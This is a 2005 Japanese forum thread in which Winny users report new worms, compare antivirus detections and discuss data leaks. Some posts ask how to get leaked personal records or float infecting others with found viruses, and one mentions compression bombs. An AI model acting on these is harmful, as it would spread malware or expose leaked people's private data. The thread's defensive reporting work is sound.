これ140MBもあるじゃん。
簡単に通報できないようにでっかくしたんだろうね。
ウイルス作者必死だな。
まんどくせーから通報しないよこんなの。

たまに解凍したファイルの数が５つなのに
６つと表示されて変だなって思って
５つのファイルを取り出してみると
空のフォルダなのにファイル１って
表示されます。これって何なんでしょうか？

ただのディレクトリだろ。ディレクトリ情報ってのはファイルとして管理されてるんだﾖ

>>721
【ネット】"前代未聞" 「Ｗｉｎｎｙ」で、小学校全児童の名簿＆一部成績表流出…愛知
http://news19.2ch.net/test/read.cgi/newsplus/1117650243/

【画像あり】WinnyでNECの社員リスト流出
http://news19.2ch.net/test/read.cgi/news/1117674007/

玉田じゃなくAntiny.Kに引っかかっていたようだ＿|￣|○
通称キンタマ？
晒し挙げはAntiny.KかGだと思う

>>734
ディレクトリ情報ってどういうときに
作成されるのでしょうか？

ディレクトリ　=　フォルダー

>>7
＞・ソフトを使って予め解凍する前に怪しい拡張子ファイルを削除する。
＞　ttp://a-t-software.hp.infoseek.co.jp/apps/delexe/index.html

このソフト使ってみたけどファイルやファイルのある場所が文字化けして
使い物にならなかった。

ほかの人は文字化けしないのかな？

Lhazで中身見てから解凍してる

WinRARで(ry

解凍レンジってどうなんですか

この手のウィルスに引っかかる椰子って、痛い目にあってもなお
+Lhacaにドラッグアンドドロップして解凍してるんだろうな。

ふと、気になったんだが、
ノートン先生で予防できるものなのか？
圧縮ファイルも調べられるようにしてるんだが……。

>>745
ワクチンは既知のウイルスに対処できるだけ。
ヒューリスティックスキャンは、たまに亜種がヒットするくらい。
予防はユーザーの切磋琢磨な自己研鑽でのみ可能。

売り文句で「未知のウイルスにも対応！！」ってたまに書いてあるけど、
誇大広告だよなぁ・・・

ありゃ絶対誇大だろｗ

正：（ごく稀に）未知のウイルスにも対応（できるかもしれないよ。てへっ）！！

定義ファイルの更新で未知だったウイルスにも対応という意味じゃなかったの？

おまえらみたいな雑魚がしらないウィルスにも対応してますよってことだろ

雑魚プログラマーが作るであろうニュイルスを
ニュータイプの勘で未来定義作成（来年流行の悪寒）

その定義ファイルを参考に新ニュイルス作成

答えから問題を作るようなもんだな。('A`)

アンチウイルスソフト開発会社＝ウィルス開発者なら、
これから流される予定のウイルスに、あらかじめ対応しておくことも容易だ。

ヒューリスティックエンジンの質が良いのはNOD32
ま、そういうもんだよねぇ。

>>709
それ持ってます。。
っていうか、開きました・・・・orz

>>757
（゜,_ゝ゜）

ちょっと待て。 拡張子がmp3なのになんでexeが出てくるんだ？

おいおい

>>759
(ﾟ∀ﾟ)

>>759
（　ﾟдﾟ）

>>759
(　ﾟдﾟ)

(つд⊂)ｺﾞｼｺﾞｼ
　
(；ﾟдﾟ)

(つд⊂)ｺﾞｼｺﾞｼ
　　_, ._
（；ﾟ Дﾟ） …？!

釣られてやるなんてみんな優しいな。

つか.zip.mp3を解答して出てきた.exeをなんで開くのかと。

.zip.mp3はかなりの確率で.exe入ってるからウイルス収集家の俺としては嬉しい限りです。

(´-`).｡oO(･･･一時期流行ったID3タグがどうこうってやつちゃうん？)

(´-`).｡oO(･･･そう思うなら試しに踏んでみればいいんとちゃうん？)

ttp://www.itmedia.co.jp/news/articles/0404/09/news012.html
これか...
ttp://ch.kitaguni.tv/u/1829/Macintosh/%C9%D4%B6%F1%B9%E7%A4%CE%CF%C3/0000070813.html
ny利用環境(Windows)なら関係ないと思われ

windowsならjpegの脆弱性がある。

ウィニーで拾ったexeをネット掲示板のムカつくやつらにうｐして踏ませるのは犯罪ですか？

exeのウィルス

踏んだ奴が被害届を出した時点で、うぷ主が加害者としての責任を負う
ウイルスとして確信してうぷっている事により、罪は重くなる

器物破損になるのかな？　器物の定義をよく知らんがたぶんこれに引っかかる。

up先への威力業務妨害もあるな

ウィルスによって損害が発生すれば罪になる
PCが壊れたとか機密情報が漏れたとか。

でもデスクトップのSSが晒されただけなら難しいなぁ

>>774
×　器物破損
○　器物損壊

ウィルス所持だけでも違法なはずだが？

http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20030422/1/

>>778
ウイルス作成罪は創設が検討されてるって段階で、まだ施行されて
ないんでは？

え、所持(死んでいても)は違法で飼育(毎日エサやりする)は合法なの？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

すまん、誤爆した･･･orz

所持目的によるはず。配布目的で作成・所持すると黒
その証明は検察が行うことになるのだが…難しいと思う
どっちに付けウイルス作成罪が成立したらWindowsだって…

通報屋さ〜ん、運営テーブルでご指名で〜す。

なお、現在tmp5鯖だけ山田フィルタが一つ外れており上げると大変なので
ヲチスレ以外上げないように＞各位

＃ヲチスレは大喜び、いや(´･ω･) ｶﾜｲｿｽの山だろうな

漏れは書庫ファイルはWinRARを使って中身確認してる。
それでexe踏む確率が減った。

解凍後にファイルの種類で並び替え。
おかしい実行形式を選択してシフト押しながらデリート。
一つだけ選択するとプレビューに情報出たりとうざい場合は
あらかじめ新しいフォルダでも一つ作って最初に選択しておき、それから消したいファイルを選択。

これでいいんじゃね？

山田注意報発令！！
----------------------------
http://qb5.2ch.net/test/read.cgi/operate/1116127723/

612FOX ★sage2005/06/03(金) 19:31:46 ID:???0
たまーにしか降ってこないサーバでやっても
何十時間と続けてやっても一個とか２個しか降ってこないべさ、
一回 bbs.cgi 強化して、結果がわかるのは数十時間後じゃ
やってられないべさ

ましたや、実験用のサーバでやってもお客さんが来てくれるのは
数十年後とか

ということで tmp5 でやってるべ

641FOX ★sage2005/06/03(金) 19:41:06 ID:???0
んじゃ　再開するよ

いろいろなルーチン書いたから
軽くするべく、どんどん外してイクデス。

どこかで爆撃が再開されるかもってことです
----------------------------

sage進行をお勧めします。

影響で
・書き込みができない。
・見えない。
・重い。
などが発生する場合があります。

>>786
あなた、ＷｉｎRARのセキュリティタブを開いたことは無いの？

【エミュ】(PS) PS1＆PS2のソフトの焼き方、遊び方のテキスト集 最新版（04.7.31)
検索用：ドラマ　鋼の錬金術師 DVD　モーニング娘 ガンダム
天上天下 ドラゴンボール モンキーターンVアルバム　 無修正ヒカルの碁ラブひな
　MONSTER アプリ海外ドラマ PV DVDISO お宝 アニメ映画無修正スラムダンク　ポケモン.zip

これはウィルスですか？

知らんがなオバケでそうな空気

>>789
何それ？
詳しく

/　／　　　　　　　　　　＼　ヽ　　/＿＿　　　　　　/　＼　　　　/　　 　　 |　　ヽヽ ＿/＿
|　　　●　/　　　ヽ　●　　　 |　　＿_|＿　|￣| 　 /　　　　　　 /　　　　￣|￣ヽ |　　/　　　＼
|　　　　　|　　/　　|.　　　　　 |　.　　人　　|＿|　 /／￣ヽ　　/⌒!　　　　ﾉ 　 │ 　/　 ＿__|
ヽ　　　　 ヽ_/ヽ__/　　　　　 /　　／　 ＼ 　　　　　　＿ノ　 /　　 ＼ノ　ﾉ　 ヽﾉ　　　　＼ノ＼

(´・ω・`)教えてよ

（´･д･`）ﾔﾀﾞ

　　　　　　　　∧∧
　　　　 　　ヽ(・∀・)/　 ｽﾞｺｰ
　　　　 　＼(.＼ ノ 　

（ ´,_ゝ｀）ﾌﾟｯ

>>790みたいのを落とす人ってホントにいるんだね

《・∀・》ｶﾀｶﾀ

>>798
うむごくろう、落としてないよ


プッ

誰だ？屁こいたのは

WinRARのセキュリティタブってなんだ？
たまに消せないフォルダを展開するんで、それを消す方法と混同
してるんでないか。

>>802
こういうのを宝の持ち腐れって言うんだな。

むしろブタに真珠か。

>>803
俺もWinRARのセキュリティタブってわからん。
検索しても>>802のことしか出てこないし、気になるから教えてくれ。

オプション→設定→セキュリティのタブで
「解凍から除外するファイルの種類」にチェックしておけばいいってことでしょ

>>805
違う

http://tmp5.2ch.net/test/read.cgi/download/1117679363/142-143

（ﾉ∀｀ｱﾁｬｰ

>>807
その143て俺だなｗ　てかちゃっかり学校名まで出しちゃってるな。
本当に情報を止める気があるのか疑いたくなる依頼だなｗ

> 一宮市の情報推進課にWinnyを使って検索を試みていただきました。
次は、上記の部署から漏れるわけか…ｽ

校長の名を装ってファイルを拡散させようとしているんじゃないか？
そんなに迂闊じゃないだろうよ・・・と思いつつも学校の先生ならやりかねないとも思えるな。

これは巧妙な売名行為ですね

どう考えてもネタだろ
そもそもなんでネット犯罪課かなんかが出てくるのかと

>>803,806
で、結局セキュリティタブってどんな機能なの？
豚に真珠を脱却したいから教えてくんない？

使えばわかると思うよ

>>813
rarをVer.upすれば分かると思うよ

608.768のサイズのウイルス
これなに？
エロアニメやエロCG関係のフォルダに偽装してる。
ノートンやavastにはかからない。
バスターにはanntiny.bのような名前だった。
山田？

山田亜種

まだ懲りないの？の壁紙と同梱されてるケースが多いのが、山田(亜種)か？
タイムスタンプのみ異なる2種を捕獲してある(CRC32:A121DDF9)

でも、だいぶ対応が進んできたっぽいけどな。(反応あるもののみ下記)

Antivirus Version Update Result
Fortinet 2.27.0.0 06.04.2005 W32/Antinny.B-tr
Kaspersky 4.0.2.24 06.04.2005 Trojan.Win32.VB.sf
NOD32v2 1.1126 06.03.2005 probably unknown NewHeur_PE virus
Sybari 7.5.1314 06.04.2005 Trojan.Win32.VB.sf

ちょっと前までNOD32のみ反応してたのにな

とある.zipファイルをwinrarで解凍せずに開くと中に"\"という名前のフォルダがあって
普通に解凍すると壊れていて修復できないと出る
しかし修復コマンドを使うと普通に修復できて中を開くと意味不明なjpgファイルが大量に入っている

これって何？

>>819
正直に言えよ、どんなエロファイルを落としたんだ？

>>819
ｽﾚ違い

>>820
ツ○サ、探偵○園Qなどコミックの新刊でよく見かける

>>821
何かのウィルスかな、と思ったので

>>686さん
その後どうですか？　私も同じものに…。

＞[仁義なきキンタマ] ○○のドキュメント.zip

○○の部分が女性の名前の場合、被参照量が多い件について

それほとんどがうんざり会社が流してるやつだよ

女ってオレンジレンチ落とそうとしてるの多い。

http://www.uploda.org/file/uporg119001.jpg
[仁義なきキンタマ] Administratorのデスクトップ(050605-0738).jpg

誰かウイルスまとめてうｐしてくれない？
検証したいんだけどあまり保有していない。
あるいはウイルスハッシュ教えて。

>>817
忘れてた。レスサンクス

なんか医学生だか医者だかのが落ちてきた。
患者の情報ダダ漏れ。あーあ

>>830
イカシカやトットリのじゃなくて？

戸ッ捕りぽい
真面目に研究してる人ぽいので（´・ω・） ｶﾜｲｿｽ
ちょっとエロ小説が好きなだけｽ

小説ってのが良いな

エロ小説落としてるやつけっこういるね。
仕事中に読めるからだろうか。

＞＞828

　　　　　l
l
l
l
J<NoCDﾐ　<NoDVDﾐ

医者関係だと「忘年会マニュアル」が5種類ぐらいに分類されているものが…

鳥取と以下鹿のハッシュきぼんぬ

>>60
今更なんだけど、これって結局新種？
モザ消し欲しいんだが・・・

ジョークソフトをいじったぐらいかと

それとモザけしとか欲しかったらｎｙなんかじゃなくて
素直にファンサイト、改造サイトを見るべし。基本に戻り。

"「当社が不正アクセスの手口を公開しない理由」，カカクコムの穐田CEO"[2005/06/02]
http://itpro.nikkeibp.co.jp/free/NCC/NEWS/20050602/161996/

＞具体的な手口が話題になりすぎると，
＞いわゆるプロのクラッカーではない，
＞一般の人まで面白半分で始めてしまうのではないかと恐れた。

「考え得る限りで最高レベルのセキュリティ対策」とか言ってた気がするが、一般人でもクラックできるのか？

>>840
はてなダイアリー - カカクメソッドとは
http://d.hatena.ne.jp/keyword/%a5%ab%a5%ab%a5%af%a5%e1%a5%bd%a5%c3%a5%c9?kid=113865

サイバーノーガード戦法、バスタークラッシュ、カカクメソッド、いろいろあるわな
nyの場合は、キンタマコップ事例、業務で使う新潟XXかねぇ

>>841
上手い事言うなｗ

ttp://headlines.yahoo.co.jp/hl?a=20050606-00000007-mai-soci
どうも毎日は２ｃｈとWinnyを目の敵にしてるようで

【職員名簿流出】Winnyのウイルス感染に偽装し故意に？　千葉県の病院
http://news19.2ch.net/test/read.cgi/newsplus/1118015067/

>>844
＞このウイルスによる個人情報流出が次々明らかになっていることに加え、
＞「暴露の匿名掲示板」としてのウィニーの不正利用が大きな問題になりそうだ。

別にny利用者はそんなもの求めて利用してるわけではないだろうにｗ
あくまで利用者の「不注意・無用心」が問題なだけだろう・・・・exe踏むとか拡張子非表示なぞ論外

>>844
毎日は以前フシアナトラップに引っかかっただろ？

ttp://www.media-k.co.jp/jiten/wiki.cgi?%A1%E3%A4%E2%A1%E4#i3

ttp://news16.2ch.net/test/read.cgi/dqnplus/1087100043/
dat落ち(50モリタポで見れるけど)

ttp://syobon.com/upload/src/syobon30039.lzh.html

>>848
馬鹿でかいjpg画像が1枚入ってるだけだな。　開けばOSが逝くかも知れん。

>>709
exe無し。

mp3だからexeなんかあるわけないのにな。

お前は何を言っているんだ

マジで無いよ。確認済み。

うげ・・ウイルス入ってるよ>>709

>>849
確かにでかいな。展開したら1GBオーバーした。
中身はInvalid Dataって言われて見られなかったけど。

zip.mp3を解凍したらexeでるだろうが

>>849
これテキストファイルだよ
内容は”死にたい”の繰り返し

山田って最初はあぷろだ？
放流元がny、shareなら厳しいけどろだ発なら

山田は、その起源が明らかになっていない
一応、ロダ説が有力だが
バックドア機能も持ってるので、感染者が中継してるのかも

仁義なしキンタマで個人情報流出と言えば、病院関係の他にも、関西の通信会社（ケイ・・・）もあったはず
あそこは前にも流出騒ぎがあったｗ

今回は騒がれていないのかな＞毎日さん、記事のチャンスでは？w

>>856
なんのexeなんだよｗ

>>861
違うやつ落としたんじゃない？
↓こんなの入ってた
ラヴ・パレード.exe.｛00022601-0000-0000-C000-000000000046｝
ラヴ・パレード　　　　　　　　　　　　　　　　　　　　　　.exe

>>848
（出ないの解かってるが）バスターのウィルスチェックで1分５１秒もかかったｗ

>>848
Lhaz　で閲覧
タカヤ.jpg・・・・1,178,494KB
確かに下手すりゃPC逝っちゃうねｗ

【使用OS】WindowsXP
【WindowsUpdateしてるか】してません
【使用AntiVirusソフト】マカフィー
【AntiVirusをUpdateしてるか】してません
【Winnyのﾊﾞｰｼﾞｮﾝ】？
【Winny歴、総DL量】？
【テンプレを読んだか】読みました
【テンプレにある対策を実行したか】てんプレにはのってません
【症状、具体的に分かる限りすべて書く】
パソコンの中のｍｐ３ファイルが全部イカレました
「メディアプレイヤーでいける種類の物ではありません」と出たので、
拡張子をｔｘｔにして開いてみたら「ぬルポ」って書いてありました
【何をしたらそんなことになったのか】
友人から「これ聞け」っつってわたされたCDのなかのｻﾝﾄﾗのアーカイブファイルが原因だったのか・・・？
私のノパソはインターネットにつないでいないのでそれしかないと思う・・・
ソフトシンセ開いて再生してみたら、生音トラックも普通に再生できていたのでWAVファイルには影響ないのだと思う
1曲ためしにミックスダウンしてｍｐ３ファイル作ってみたけど　その出来たてmp3は普通に再生できます。。。
最悪の場合リカバリってもいいのですが、手軽に駆除するほう方はありませんか？

ageさしてもらいます。おねがいします
865の
＞【テンプレにある対策を実行したか】てんプレにはのってません
は間違いです。対策はしていませんでした

>865-866

　　　 　　 ::::::::::::::::::::∧＿∧　
　　　　　　　:::::::::　<｀∀´∩> アー！アー！きこえなーいニダ！アー！
　 　 　　　　　 _..　/^ｿ⌒ヽヽ
-― ―'ー'-''―-''<_<＿ﾉ､_ソ―'''ー'-''――'｀'

>>865
Winnyで流れている"新種の"ワーム、ウイルス等を報告・調査・対処をするスレです

>>865
32か？

>>859
最初に見つかったのは苺5M
無論、その前に放流してた可能性も否定できないが、
それなら同じものが流れると思う

>>868
すいませんでした。他いってきます

しかし、毎日もキンタマコップの情報をもっと克明に追えばいいのに

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_ANTINNY.R#solution

↑のページに書いてあるウイルスにかかったんですが　どうやって駆除すればいいですか？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>874
それ、俺も知ってるわ。
確か、ノートン先生で起動前にチェックしたけど何にも出てこなかった。
で、.exeの部分を.txtにして中身見てみたら、なんか色んな文章かいて
あった記憶があるよ。
俺の見解では「ウィルス」ではないと思うが、
他の人たちの見解も聞いてみたほうがいいよ。

>>874
オンラインスキャンはやった？

う、すいません、OSはXP SP2で、小まめにアップデートはかけているので最新版だと思います。
Shareのキャッシュは60GB程で、テンプレのものは確認しましたが、違うようです。
症状は今のところよくわかりません。
突然GoogleやMicrosoft等に繋がらなくなります(ページが表示できないと出る)。
暫くするとまた元に戻るので、回線の所為だと思うのですが……。
使用antivirusソフトは>>874の通りavast!の最新定義ファイル適用済みです。
……と、何故か全く書き込めなくなった間にSpybotで未検出、
シマンテックオンラインスキャンでも未検出でした。

うーん、特に害はないようですし……何なのだろう。

>>875
ゴミ箱から引きずり出してtxtにして色々文字コードも弄ってみましたが、
特に何か書いてあるようにも…みえないです。

>>872
毎日ごときに克明な情報を求めるだけムダ。
一般でマトモな情報を出しているのは●●だけ。

>>877
対象ファイルが特定できているなら
ttp://www.virustotal.com/flash/index_en.html
ここへ投げてみると、NOD32あたりがなにか検出やもしれんな

>>878
872を、どう読めばそう応えられるんだ？

>>879
うわ、そんなすごいサイトがあったんですね
トレンドマイクロオンラインスキャンでも引っかからず、
そちらでも音沙汰なしでした。
相当な新手か、ただのジョークの様なので、
どう足掻いても無駄そうですね……。

何かあればまた報告に上がります。
一応>>874のファイル名、ハッシュのファイルには皆さんお気をつけて……。

新種のウイルスを効率的に入手するには、それっぽいキーワードでnyとかその他類似ソフトを走らせておくのが1番？
まだほとんど検出されないやつをベンダーに送りたいんだが。

それともここで、
【ウイルス】1番数が多かったやつに \5,000【ワーム】
というスレを立てるとか…だめか、だめだよな。

>>874 安心しなよ。ただの山田ウイルスの亜種だから。

>881
ジャンプで圧倒的に入手出来る
最近ではアルバムもか

しかし、どうしても山田さんを手に入れたい奴がいるんだね
あちこちのスレで必死にクレクレ君やってる奴。

>>881
その作業は通報屋さんがコンスタントにやってるから
彼がそれに飽きるか、何かの理由で続けられなくなってからで良いんじゃない？

ジャンプですね、ども。

>>885
通報屋が多すぎて困るほどにはならないと思う。

>>882
山田亜種なら何らかの反応が出ると思うけどね

俺思うんだが、これだけウイルス被害がありうっとおしいのに、
ウイルス作者ってあんま叩かれないんだよな。なんで？

>>886
仮にも「ウィルス」疑惑があるものをやり取りするにはあなたが通報屋氏と同じくらい
信用を勝ち取る必要があると思う。
まかり間違えば業務妨害やら器物損壊やらに問われかねないんでな>提供
まずはメアド晒すとかｺﾃ+鳥くらいは付けてみたらどうだろうな。
通報屋氏のこれまでの地道な努力は「俺にも出来るだろう」程度のものではないよ

>>888
自己責任
自業自得
わかってるやつにはおもしろい(かった)

>888
http://tmp5.2ch.net/test/read.cgi/download/1116878903/

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>892
一応調べてみたけど山田とは違う言語でできてる見たい。
mellponとかの記述もないし。
(山田：VisualC++　こいつ：Delphi)

あ、それと他の会社の通報してくれる人も歓迎です。
私一人ではカバーしきれない部分をカバーしてくれると幸いです
ただ・・・889氏の言うとおり疑惑ファイルなので扱いが非常に難しいです。
いくらかニュイルススレ報告上がっているのも提供していますので。
(でもほとんど単体では不正活動を行わないため、安全です。ということでした・・・今後変わるかもしれんけど)

shareもウィルスふえたな
以前はｎｙの移植って感じであまり多くない印象だったが

nyで、ダウンしたmpeg形式にファイルが変換終了と同時くらいに消えるんですが・・・
新種のウイルス？？ですか？ウイルスソフトは
「ウイルスが発見されました。ファイルへのアクセスができません。」
で、無責任に何もしません。いったいファイルはどこへ行ったのやら・・・

ウィルスだと思って消してんじゃね？

通報屋仕事しろ

>>895
ソフトが検出してるなら既知のウイルスだからスレ違いだね。
使ってるソフト名や検出ウイルス名もわからないから、助言も
できないし。(´･ω･`)

ボランティアですからｗ

通報屋氏が拾ったSVK Protectorがかかったブツってのは、
なんかの業務ソフトの破片じゃねーのかな。山田作者程度が使うような
ものじゃない気がするけど、もし、ほんとに使われてたら…
バスターでも先生でもパターンファイル一致方式だと、もう検出できない
ソース解析は無理だし、VM環境で走らせても条件発動ものだと分からないし

今まで拾った山田亜種のなかには、UPX使ってさらにPEiDかぶせてるのがあった
けど、山田亜種のSVKPパックものには、かなりの金をかけてることになるねぇ。

いやもう通報屋はいいから。

529です。
オンラインのパンダでチェックしたら
Trj/DelWin.N
に感染しているってさ。
ということで
709もどうようです。

>>900
多少金がかかっても脅威を作っていかないとウイルス対策ソフト売れないしね

PC界はいまだに冷戦構造ですか

出来レースというか八百長試合というか。

>>900
パック解凍してみようかと苦戦したけどむりっぽい
(アンパッカー使って)
業務用ソフトの件はありうるんだけど、アイコンがフォルダ偽装ってとこが・・・
でもTrialもあるのでその線も（ｒｙ

>>906
ねぇ、ここ山田ウィルススレじゃないからさ・・・。
そんなに書き込みたきゃスレ作れよ。

VM環境で
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\svkp
が作られるなら、80％でクロなんだが

>>908
20%も誤爆が有るんならどうしようもないだろ

>>907
そうだな・・・
ここニュイルススレだったよ。
頭冷やしてくるわ
スレ違いｽﾏｿ

セキュスレ覗いたらウィルスなんて見たことも感染したこともねぇ〜Yo
ノートンいらね
って香具師がちらほらいた

ちょっとカルチャーショック
ダウソ民には日常ちゃめしどきなのに・・・・
それとも気付いてないだけとか？

>>910

ノートン、ウイルスバスター、マカフィー、ウイルスセキュリティ、NOD32、V3ウイルスブロック　
ウイルスドクター、ウイルスプロテクター、ウイルスチェイサー、ソフォス、F-Secure、Kaspersky、Panda

BitDefender、AntiVir、avast!、eTrust、AVG、ClamWin


この中で新種のサンプル送ってないのはどの製品？（返事がきてるかどうかは別にしてね）

>>912
ノートン、VBは送ってある。
ウイルスチェイサー、NOD32、McAfeeは送付の調整中
ウイルスドクターはこれからメール。
つーわけでほとんどです('A`)ｵﾚﾉﾊﾞｶ

20years after...

なぜウイルスのサンプルを送り続けるのですか？

−そこに、ウイルスがあるから。

　　　　　　　　　　　通報屋 ◆Y39/vakKjYの言葉
　　　　　　　　　平成偉人伝 ＜通報屋 ◆Y39/vakKjY〜いちファイル共有ソフトユーザーの戦い＞より抜粋

NECファシリティーズ、人事考課データ395人分がWinnyで流出
ttp://internet.watch.impress.co.jp/cda/news/2005/06/07/7917.html
ttp://www.itmedia.co.jp/news/articles/0506/07/news105.html

>>913 通報屋 ◆Y39/vakKjY

いつも乙。
ところでさ、各社に送るのも大変だから、Webにアプして「取りに来い」
っていうのは どうかね？　　やっぱ無視されるかなぁ？

>>913

凄いいっぱい送ってますね。すばらしい！！
参考になりました。

>>916
ウィルス配布になっちゃう。
確かに配布自体は今のところ罪じゃないけど、それを拾った人間が誰かに被害を
与えたりしたら通報屋さんまで罪に問われる可能性はある訳だし。

>>911
セキュ板には俺も出入りしてるけど、まぁなんだ、いろんな人がいるのよ。
勝つためには敵を知ること、つーわけでﾆｭｲﾙｽｽﾚに出入りしてるのだが
敵さんは、いろいろ発想してくれるよまったく。

もしかして、山田感染者も一種のゾンビPCになってないか？
SPAM砲みたく、あちこちに氾濫し始めてるな。nyとは関係ないけどね。

先ほど間違えて落としたaviファイルを再生したところ
explore.exeを終了します。と、
言われ、もう１つ（何か忘れた）.exeを終了します。と言われ
その後、画面フリーズしたんですけど、これウィルスすか？
左or右クリックしただけでなるんです。 orz

何度か再起動させてファイルは削除したんですけど、その後
は特に何も無く、ノートンでも何も出ませんでした。
なにかアドバイスお願いします。

>>920
IDがNECだなｗ　ちょうどいいから>>915のをコピペしてスレ立ててくれない？

んでそれがウイルスかどうかはそれだけの情報じゃ良く分からない。
一応nyならUPフォルダを作成されてないか確認したほうがいいよ。
nyの「フォルダ情報」を開くとかしてね。

>>921
すいません。nyです。確認してみたらUPフォルダはありませんでした。

自分、２ch初心者なモンでスレ立ては勘弁してください。orz
他に何か確認することはありますか？
一応ファイル名です↓
(アニメHシーン) AIKa パンチラシーンダイジェスト.avi

>>922
キンタマ系ではないみたいね。
じゃぁ http://127.0.0.1/ を開いたら何か見える？（見えたら山田ウイルス）


あとスレ立てよかったらおながいします、せっかくIDｷﾃﾙのにもったいないｽ
↓↓↓↓コピペ用↓↓↓↓

NECファシリティーズ、人事考課データ395人分がWinnyで流出
ttp://internet.watch.impress.co.jp/cda/news/2005/06/07/7917.html
ttp://www.itmedia.co.jp/news/articles/0506/07/news105.html

ＮＥＣの裏事情３２
http://tmp5.2ch.net/test/read.cgi/company/1113929589/353-

>>914
号泣した

そのかわり　(アニメHシーン) AIKa パンチラシーンダイジェスト.avi　を調査しますので(^_^;

スレ立ては
http://tmp5.2ch.net/download/
このページの一番下に「新規スレッド作成画面へ」ってところがあるのでここからおながいです。

無理そうでしたら結構です(^^;

>>923
開けなかったです。
山田のことが先に頭に浮かんだので
checkツールも試したら大丈夫でした。

スレ立て考えておきます。
できるとしても朝から仕事なもんで、
夕方、帰ってからになると思います。

アドバイスありがとうございました。

>>927
そっか、じゃぁいいや、明日の夕方じゃ遅すぎるしID変わっちゃってそうなんで。
無理言ってすまんｽ。

ホスト規制で立てられずorz

当方XPpro SP1にて
不完全(強制変換)なaviだとプロパティ確認だけで
Explorer.exeのCPU処理が以上に高くなって動作不具合を引き起こすから
それと似たような状態だと思うが
_incompleteをリネームしたファイルを落としたとかね

>>892
それ踏んじゃったょ。。。orz
今んとこと目立った症状はないけど。。(((( ；ﾟДﾟ)))ｶﾞｸｶﾞく

検索しているのですが、見つからないのでハッシュを知っている人、教えてm(_ _)m
１、千葉県の職員名簿流出
２、ドコモ東海の顧客情報流出
３、愛知県の小学校全児童の成績表流出

他人の情報を得ようというなら、まず自らが開陳しないとな
というか、帰れよ

>>932
仁義なき・・・じゃないの？

毎日によれば１は仁義キンタマじゃないらしい。
２と３は仁義キンタマ。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

zip lzh のアイコンは別なものに変える。
解凍レンジ、その他解凍ソフトにあるような閲覧モードで
中身を確認してから、解凍する。
これ基本

>>936
たくさんの画像の中に1枚だけそういうの入れれば引っかかる香具師多いのにな。
150ページ以上あるコミックとかに入れたらPC上級者でもうっかり引っかかるﾔﾂはいるだろうな。

>>938
その手のはみたことあるよ。旧キンタマ系が多かったが。
4MBのを解凍して1.2GBのjpegってのは、システム落ちを狙ってるのかねぇ
対象がNTFSだったら、それこそコマンド一発で200GBのファイルとか作れるので
そのへんも気をつけたほうがいいかもね。あるいは普通に圧縮ボムとか

ブラックフレームのみのaviなら2．5Ｇで2MB位まで圧縮いけるけどね。
ま、そんなの解凍しても途中でキャンセルされるだろうけど、Ｄ＆Ｄだとどうなるか分からん。

http://127.0.0.1/
うわーん感染してたよ。
開いたら取り消されたアクションとかでてなんかいろいろ書いてるよー。

>>941
ハッシュきぼん

>>941
感染してねぇよ

>>941
早く再インストしろ。

>>941
ｶﾜｲｿｽ

★流行種その3
【Autorun+batを利用したウイルス】
にﾀﾌﾞﾝ感染してしまったorz.

で感染したあとにふと疑問に想ったのですが。
感染する前にCDｲﾒｰｼﾞをｳｨﾙｽｽｷｬﾝすると
CDｲﾒｰｼﾞの中にｳｨﾙｽが入っているかどうかわかるものなのですか？。
感染後の対処法はよく書かれているので知識としてはOKなのですが。
未然に防ぐ方の知識が少なくてorz。

えと一応テンプレもｶｷｺしときますね。
【使用OS】 me
【WindowsUpdateしてるか】
【使用AntiVirusソフト】 ﾉｰﾄﾝ先生
【AntiVirusをUpdateしてるか】 使用する前に必ずしています。　
【Winnyのﾊﾞｰｼﾞｮﾝ】 v2.0b7.1
【Winny歴、総DL量】 半年　約20GB
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 はい(再ｲﾝｽﾄしました。)
【症状、具体的に分かる限りすべて書く】 してしまった後なので詳しく覚えていないorzｽｲﾏｾﾝ。
【何をしたらそんなことになったのか】 ﾏｳﾝﾄしてしまいました。
※感染元のファイルの情報もあると良し
【これまでにとった措置】
再ｲﾝｽﾄｰﾙｼﾏｽﾀ：ω；。

そもそもオートランは切っておく、これは常識
イメージをそのままスキャンしてもだめぽ
イメージをマウントしてCDの内容をスキャンすれば既出ウイルスなら発見可能
あとゲームにbatファイルがあることは少ないのであったら警戒すべし

nyで落としたイメージをオートランがオンの状態でマウントするなんて勇者だなｗ

多分感染してしまいました・・が、どれに該当するのかサッパリ分かりません；；
nyのDownフォルダに消せないフォルダができてしまいました(セーフモード等色々試しましたが、消えませんでした)

【使用OS】 XP
【WindowsUpdateしてるか】
【使用AntiVirusソフト】 ｳｨﾙｽｾｷｭﾘﾃｨ
【AntiVirusをUpdateしてるか】 使用する時毎です。
【Winnyのﾊﾞｰｼﾞｮﾝ】 v2.0b7.1
【Winny歴、総DL量】 １年　約50GB
【テンプレを読んだか】 はい
【テンプレにある対策を実行したか】 再ｲﾝｽｺ以外ほとんど実行しました
【症状、具体的に分かる限りすべて書く】 nyのUPフォルダ内に、今まで落としたmp3等にexeファイルを追加されました。
ﾃﾝﾌﾟﾚ読んで色々試してみたら、その後はny繋いでないせいか消せないフォルダ以外は何の被害もないように思えます。
【何をしたらそんなことになったのか】 「(サントラ)ファイナルファンタジーヴォーカルコレクションズ2」というファイル
ｳｯｶﾘexeファイルを開いてしまったようです。
【これまでにとった措置】 これから再ｲﾝｽﾄｰﾙしたいと思います。

再ｲﾝｽｺする前に、mp3をCDに落とそうかと考えているのですが、マズイですかね・・？
一度exeファイルを追加されてたのですが、そちらだけ削除してmp3だけ移動させたやつなのですが、
友人に頼まれてたのがあったので焼こうか焼くまいか悩んでおります、アドバイスお願いします；；

Q : mp3をCDに落とそうかと考えているのですが、マズイですかね・・？
A :　_、_
　（　,_ﾉ` ）　　　　 n　　　　こんな違法ダウソ厨とニュイルス作者しか居ないところで書かれたことを信用するんですか？ だったら言ってあげますよ
￣　　　　＼　　　（ E）　 　罠満載！書き込みした瞬間に個人情報撒くわ
